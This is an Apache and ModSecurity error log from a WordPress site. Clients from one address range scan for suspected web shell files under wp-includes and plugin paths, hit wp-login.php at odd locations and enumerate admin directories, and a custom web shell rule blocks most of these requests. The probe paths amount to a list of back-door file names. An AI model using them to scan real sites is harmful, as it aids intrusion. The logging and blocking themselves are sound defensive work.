[Tue Mar 24 19:00:38.550715 2026] [:error] [pid 64198:tid 64217] [client 2.57.170.191:28357] [client 2.57.170.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "acJu1nVzJqf6OS_oSZ2TsgAAAVE"]
[Tue Mar 24 19:00:39.143895 2026] [:error] [pid 38767:tid 38779] [client 2.57.170.210:31797] [client 2.57.170.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.57.170.210, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acJu1_wkUqN4GJAI5oUIwgAAAQk"]
[Tue Mar 24 19:00:43.222246 2026] [:error] [pid 38767:tid 38777] [client 2.57.170.210:31797] [client 2.57.170.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "acJu2_wkUqN4GJAI5oUIzAAAAQc"]
[Tue Mar 24 19:00:45.761978 2026] [:error] [pid 38767:tid 38788] [client 2.57.170.213:63281] [client 2.57.170.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "acJu3fwkUqN4GJAI5oUI1gAAARI"]
[Tue Mar 24 19:00:49.965848 2026] [:error] [pid 38767:tid 38794] [client 2.57.170.60:33259] [client 2.57.170.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "acJu4fwkUqN4GJAI5oUI4AAAARg"]
[Tue Mar 24 19:00:50.571884 2026] [:error] [pid 3032:tid 3115] [client 2.57.170.202:25815] [client 2.57.170.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "acJu4ia_-JXXD03-JNxKEgAAAIw"]
[Tue Mar 24 19:00:57.531814 2026] [:error] [pid 48214:tid 48266] [client 2.57.170.179:58007] [client 2.57.170.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.57.170.179, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "acJu6beshLWZ3uUDHKlgbQAAAc4"]
[Tue Mar 24 19:00:59.728106 2026] [:error] [pid 48214:tid 48267] [client 2.57.170.179:58007] [client 2.57.170.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "acJu67eshLWZ3uUDHKlgcAAAAc8"]
[Tue Mar 24 19:01:04.474583 2026] [:error] [pid 48214:tid 48272] [client 2.57.170.215:24771] [client 2.57.170.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "acJu8LeshLWZ3uUDHKlgdgAAAdQ"]
[Tue Mar 24 19:01:05.062687 2026] [:error] [pid 38767:tid 38788] [client 2.57.170.172:31879] [client 2.57.170.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "acJu8fwkUqN4GJAI5oUJAAAAARI"]
[Tue Mar 24 19:01:06.318864 2026] [:error] [pid 3032:tid 3115] [client 2.57.170.186:44787] [client 2.57.170.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "acJu8ia_-JXXD03-JNxKHQAAAIw"]
[Tue Mar 24 19:01:06.919738 2026] [:error] [pid 48214:tid 48258] [client 2.57.170.216:50259] [client 2.57.170.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "acJu8reshLWZ3uUDHKlgeAAAAcY"]
[Tue Mar 24 19:01:07.526865 2026] [:error] [pid 64198:tid 64202] [client 2.57.170.182:64079] [client 2.57.170.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "acJu83VzJqf6OS_oSZ2TwQAAAUI"]
[Tue Mar 24 19:01:13.779388 2026] [:error] [pid 3137:tid 3160] [client 2.57.170.199:47535] [client 2.57.170.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "acJu-ZdZesutm6dfYM8Y7QAAANU"]
[Tue Mar 24 19:01:19.084958 2026] [:error] [pid 38767:tid 38780] [client 2.57.170.208:59761] [client 2.57.170.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/s/tinymce/skins/lightgray/fonts/index.php"] [unique_id "acJu__wkUqN4GJAI5oUJJgAAAQo"]
[Tue Mar 24 19:01:19.694687 2026] [:error] [pid 38767:tid 38777] [client 2.57.170.180:50043] [client 2.57.170.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "acJu__wkUqN4GJAI5oUJLAAAAQc"]
[Tue Mar 24 19:01:20.317358 2026] [:error] [pid 38767:tid 38789] [client 2.57.170.191:50275] [client 2.57.170.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "acJvAPwkUqN4GJAI5oUJLwAAARM"]
[Tue Mar 24 19:01:21.241965 2026] [:error] [pid 48128:tid 48163] [client 2.57.170.184:48233] [client 2.57.170.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "acJvAcvR4LIMFLbM5VkxrwAAAYs"]
[Tue Mar 24 19:01:22.215174 2026] [:error] [pid 64198:tid 64216] [client 2.57.170.187:34035] [client 2.57.170.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "acJvAnVzJqf6OS_oSZ2T2QAAAVA"]
[Tue Mar 24 19:01:22.798978 2026] [:error] [pid 64198:tid 64207] [client 2.57.170.188:48961] [client 2.57.170.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "acJvAnVzJqf6OS_oSZ2T4AAAAUc"]
[Tue Mar 24 19:01:29.275873 2026] [:error] [pid 64198:tid 64222] [client 2.57.170.202:35405] [client 2.57.170.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "acJvCXVzJqf6OS_oSZ2T8wAAAVY"]
[Tue Mar 24 19:01:29.866470 2026] [:error] [pid 48219:tid 48288] [client 2.57.170.185:21011] [client 2.57.170.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "acJvCShf3b4R_lAIyv9uuQAAAgc"]
[Tue Mar 24 19:01:30.484970 2026] [:error] [pid 48219:tid 48283] [client 2.57.170.194:44913] [client 2.57.170.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "acJvCihf3b4R_lAIyv9uugAAAgI"]
[Tue Mar 24 19:01:34.137557 2026] [:error] [pid 38767:tid 38788] [client 2.57.170.206:34005] [client 2.57.170.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "acJvDvwkUqN4GJAI5oUJSQAAARI"]
[Tue Mar 24 19:01:34.728001 2026] [:error] [pid 64198:tid 64208] [client 2.57.170.189:40603] [client 2.57.170.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/pomo.php"] [unique_id "acJvDnVzJqf6OS_oSZ2T_AAAAUg"]
[Tue Mar 24 19:01:35.320084 2026] [:error] [pid 64198:tid 64217] [client 2.57.170.188:42065] [client 2.57.170.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "acJvD3VzJqf6OS_oSZ2T_wAAAVE"]
[Tue Mar 24 19:01:52.615597 2026] [autoindex:error] [pid 48219:tid 48296] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:54.729582 2026] [autoindex:error] [pid 48219:tid 48297] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:55.035838 2026] [autoindex:error] [pid 48219:tid 48300] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:55.339335 2026] [autoindex:error] [pid 48219:tid 48302] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:55.644395 2026] [autoindex:error] [pid 48219:tid 48287] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:56.303497 2026] [autoindex:error] [pid 48219:tid 48293] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:56.598450 2026] [autoindex:error] [pid 48219:tid 48284] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:56.898215 2026] [autoindex:error] [pid 48219:tid 48286] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:01:57.200856 2026] [autoindex:error] [pid 48219:tid 48301] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:44.496444 2026] [autoindex:error] [pid 48219:tid 48281] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:44.798404 2026] [autoindex:error] [pid 48219:tid 48300] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:45.141368 2026] [autoindex:error] [pid 48219:tid 48284] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:45.439289 2026] [autoindex:error] [pid 48219:tid 48290] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:45.746746 2026] [autoindex:error] [pid 48219:tid 48288] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:46.054269 2026] [autoindex:error] [pid 48219:tid 48301] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:46.362581 2026] [autoindex:error] [pid 48219:tid 48285] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:52.815980 2026] [autoindex:error] [pid 48219:tid 48302] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:54.959204 2026] [autoindex:error] [pid 48219:tid 48284] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:55.354757 2026] [autoindex:error] [pid 48219:tid 48286] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:55.659345 2026] [autoindex:error] [pid 48219:tid 48293] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:57.802407 2026] [autoindex:error] [pid 48219:tid 48288] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:58.103498 2026] [autoindex:error] [pid 48219:tid 48301] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:58.429595 2026] [autoindex:error] [pid 48219:tid 48285] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:58.729099 2026] [autoindex:error] [pid 48219:tid 48303] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:02:59.030765 2026] [autoindex:error] [pid 48219:tid 48282] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:13.216712 2026] [autoindex:error] [pid 48219:tid 48303] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:28.651805 2026] [autoindex:error] [pid 48219:tid 48297] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:34.622867 2026] [autoindex:error] [pid 48219:tid 48300] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:36.113090 2026] [autoindex:error] [pid 48219:tid 48289] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
